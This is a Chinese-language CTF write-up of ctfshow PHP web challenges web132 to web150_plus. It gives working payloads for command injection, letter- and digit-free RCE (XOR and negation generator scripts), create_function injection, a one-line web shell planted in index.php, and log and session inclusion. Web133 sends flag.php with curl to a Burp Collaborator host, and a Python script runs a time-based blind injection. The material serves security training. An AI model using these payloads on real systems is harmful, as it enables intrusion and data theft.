目录:
-
- web132——逻辑运算符的优先级
- web133——curl -F
- web134——php变量覆盖
- web135—— >xx.txt 写文件
- web136—— tee命令
- web137——调用类
- web138——call_user_func()数组形式调用类方法
- web139——盲打
- web140——松散比较==
- web141——无字母数字的RCE 、取反
- web142——0
- web143——无字母数字的RCE 、异或 、* / 号
- web144——无字母数字的RCE 、取反、+号
- web145——无字母数字的RCE 、异或 、三目运算符
- web146——无字母数字的RCE 、异或 、|号
- web147——create_function代码注入
- web148——无字母数字的RCE 、异或
- web149——条件竞争
- web150——日志包含
- web150_plus——session文件包含
web132——逻辑运算符的优先级
打开是一个网站,访问robots.txt
得到指引/admin
<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
可以注意到&&
和||
的逻辑运算,查询下表发现&&
优先级高于||
payload:
?username=admin&password=6&code=admin
web133——curl -F
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
}else{
die("6个字母都还不够呀?!");
}
}
参考Firebasky师傅的文章,写的很详细
我们传入
`$F `;sleep 3
substr($F,0,6)截取的是: `$F `;
即:eval(`$F `;)就会继续执行$F 其中:``是shell_exec()函数的缩写
而$F等于我们传入进来的值: `$F `;sleep 3
此时,sleep 3 就被执行了!
但是可以执行命令,无法回显
通过curl结合Burp带出flag.php
payload:
?F=`$F `;+curl -X POST -F xx=@flag.php http://j9t9eiduixuj9bxwv2e18b6wangd42.burpcollaborator.net
# -X POST 指定 HTTP 请求的方法为 POST
# 其中-F 是带文件的形式发送post请求
# xx是上传文件的name值,flag.php就是上传的文件
web134——php变量覆盖
<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}
prase_str()
与extract():
parse_str():把查询字符串解析到变量中。
extract():从数组中将变量导入到当前的符号表
注意区别:
extract是将数组中元素分解,执行后数组的key值作为变量名,数组的value赋值给对应Key的变量,这样可以直接通过Key变量去访问,不用数组加key去访问。
即:从数组中创建变量
parse_str是根据"="来分解字符串,主要用于对url参数的解析。
GET方法传参_POST[key1]=36d
parse_str()
将字符串解析到POST
数组中,数组此时就有了一个键值对
此时,效果上相当于以POST方法传参 key1=36d
extract($_POST)
在POST
数组中的创建变量,将变量key1
导入到当前的符号表
从而得到$key1=36d
web135—— >xx.txt 写文件
<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
eval(substr($F,0,6));
}else{
die("师傅们居然破解了前面的,那就来一个加强版吧");
}
}
没有限制写文件
?F=`$F `;nl flag.php>1.txt
?F=`$F `;cp flag.php>1.txt
?F=`$F `;mv flag.php>1.txt
web136—— tee命令
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
Linux下的tee命令
tee指令会从标准输入设备读取数据,将其内容输出到标准输出设备,同时保存成文件
可见,其效果与>
类似
payload:
?c=ls /|tee 2
?c=nl /f149_15_h3r3|tee 2
web137——调用类
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
call_user_func($_POST['ctfshow']);
需要调用静态类
php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法
payload:
ctfshow=ctfshow::getFlag #POST
web138——call_user_func()数组形式调用类方法
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
die("private class");
}
static function getFlag(){
echo file_get_contents("flag.php");
}
}
if(strripos($_POST['ctfshow'], ":")>-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
考察了call_user_func()用数组形式调用类方法
详看:根据方法名调用call_user_func()详解
call_user_func()参数不仅可以是字符串,还有 数组形式!
call_user_func(array($classname, 'say_hello'));
调用classname这个类里的sya_hello方法
array[0]=$classname 类名
array[1]=say_hello say_hello()方法
按照上述格式得到payload:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag #POST
web139——盲打
<?php
error_reporting(0);
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
没有写权限,不允许写文件
思路就是猜解文件名。盲打,像SQL盲注一样
用awk命令、cut命令截取字符
sleep命令确认是否正确
awk NR==2 获取第二行信息
cut -c 1 截取第1个字符
zsh下if语句的格式:
if [[condition]] {
command
} elif {
} else {
}
参考大佬的脚本:
获取文件名的脚本
import requests
import time
import string
str=string.ascii_letters+string.digits #生成所有字母与数字[a-zA-Z0-9]
result=""
for i in range(1,5):
key=0
for j in range(1,15):
if key==1:
break
for n in str:
payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
#print(payload)
url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
if n=='9':
key=1
result+=" "
猜解文件内容的脚本:
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"#获取小写字母与数字
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
#print(payload)
url="http://877848b4-f5ed-4ec1-bfc1-6f44bf292662.chall.ctf.show?c="+payload
try:
requests.get(url,timeout=(2.5,2.5)) #time()第一个参数是响应时间,第二个是读取时间
except:
result=result+n
print(result)
break
web140——松散比较==
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
$f1 = (String)$_POST['f1'];
$f2 = (String)$_POST['f2'];
if(preg_match('/^[a-z0-9]+$/', $f1)){
if(preg_match('/^[a-z0-9]+$/', $f2)){
$code = eval("return $f1($f2());");
if(intval($code) == 'ctfshow'){
echo file_get_contents("flag.php");
}
}
}
}
查看PHP类型比较表 可发现
0==“字符串”
返回的是TRUE
使$code=0
就可以了
intval('.')
(标点符号似乎都行)md5(phpinfo())
都可以使intval()=0
payload:
f1=current&f2=localeconv
f1=md5&f2=phpinfo
web141——无字母数字的RCE 、取反
<?php
#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/^\W+$/', $v3)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
/^\W+$/
的意思:匹配[^a-zA-Z0-9_]
(任意个非单词字符、非数字字母下划线的字符)绕过无字母数字的方法参考yu师傅的脚本
绕过return的方式:
php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();
结合减号是可以执行phpinfo()命令的。(不一定是减号,还有加、乘、除号,若用加号。要用+
,要进行URL编码,这是个特殊字符,不进行编码会当作空格)
由上图可知,虽然会有warning但依然执行了system('cat ls.txt')
这样就好说了。构造出1-phpinfo()-1
就可以了,也就是说v1=1&v2=1&v3=-phpinfo()-
现在我们的任务就是取构造命令,那我们就用个简单的方式取反来试一下。
运行脚本构造system(‘tac f*’)
得到 (~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)
payload:
?v1=1&v2=1&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)-
拓展阅读:
记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)
web142——0
<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
$v1 = (String)$_GET['v1'];
if(is_numeric($v1)){
$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
sleep($d);
echo file_get_contents("flag.php");
}
}
payload:
?v1=0 八进制
?v1=0x0 16进制
?v1=0e123 科学计数法
web143——无字母数字的RCE 、异或 、* / 号
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
此题是web141的延申版
过滤了加减号,还有乘除号
过滤了取反号~
那就用异或^
异或脚本:
<?php
/*author yu22x*/
$myfile = fopen("xor_rce.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i'; //根据题目给的正则表达式修改即可
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)^urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
# -*- coding: utf-8 -*-
# author yu22x
import requests
import urllib
from sys import *
import os
def action(arg):
s1=""
s2=""
for i in arg:
f=open("xor_rce.txt","r")
while True:
t=f.readline()
if t=="":
break
if t[0]==i:
#print(i)
s1+=t[2:5]
s2+=t[6:9]
break
f.close()
output="(\""+s1+"\"^\""+s2+"\")"
return(output)
while True:
param=action(input("\n[+] your function:") )+action(input("[+] your command:"))+";"
print(param)
payload:
?v1=1&v2=1&v3=*("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%00"^"%60%60%7f%20%60%2a")*
web144——无字母数字的RCE 、取反、+号
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){
if(preg_match('/^\W+$/', $v2)){
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
function check($str){
return strlen($str)===1?true:false;
}
?v1=1&v3=%2b&v2=(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5) #%2b是 + 的URL编码,当然,直接用 - * / 这三种也是可以
web145——无字母数字的RCE 、异或 、三目运算符
<?php
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
可用三目运算符 ? :
和 按位OR运算符|
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):
?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5)|
实在想不出来,爆破
web146——无字母数字的RCE 、异或 、|号
<?php
hlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = (String)$_GET['v1'];
$v2 = (String)$_GET['v2'];
$v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){
if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
过滤了:
冒号,用|
按位OR运算符
?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%D5):
web147——create_function代码注入
<?php
highlight_file(__FILE__);
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
分析正则表达式:
/i
不区分大小写
/s
匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]
/D
如果使用$限制结尾字符,则不允许结尾有换行
create_function:
参考这篇文章第一道题
create_function()主要用来创建匿名函数,有时候匿名函数可以发挥它的作用。
string create_function ( string $args , string $code )
string $args 参数部分
string $code 方法代码部分
举例:
create_function('$name','echo $fname."Zhang"')
类似于:
function fT($name) {
echo $fname."Zhang";
}
正则很明显,就是要想办法在函数名的头或者尾找一个字符,不影响函数调用。
本地Fuzz测试一下,思路就是在函数名头或者尾找一个字符
\ (URL编码为%5c)是爆破结果
在PHP的命名空间默认为
\
,所有的函数和类都在\
这个命名空间中,如果直接写函数名function_name()
调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()
这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
payload:
?show=echo "666";}system("cat f*");/* #GET
ctf=\create_function #POST
web148——无字母数字的RCE 、异或
异或处理,参考 web148
web149——条件竞争
<?php
error_reporting(0);
highlight_file(__FILE__);
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($_GET['ctf'], $_POST['show']); //file_put_contents会覆盖之前文件的内容
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
很明显条件竞争
一个发包创建文件
?ctf=1.php
show=<?php ststem("ls /");?>
一个发包读取文件
还可以写一句话木马到index.php文件中,然后执行命令
?ctf=index.php
show=<?php @eval($_POST[1]);?>
web150——日志包含
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
一眼看过去,有点懵,变量有点多
看Hint是非预期的解法:文件包含,包含的是日志文件
那么重点就在下面这段代码:
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
如何使isVIP=1
?通过extract($_GET)
,?
后面传递isVIP=1
POST传:ctf=/var/log/nginx/access.log
然后便是日志包含的操作了,在UA头写一句话木马
web150_plus——session文件包含
<?php
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);
class CTFSHOW{
private $username;
private $password;
private $vip;
private $secret;
function __construct(){
$this->vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}
多过滤了log
也即是说不能包含日志文件
但可用包含session文件
当然这是非预期解,预期解不会啊/(ㄒoㄒ)/~~
session文件包含的操作不多说了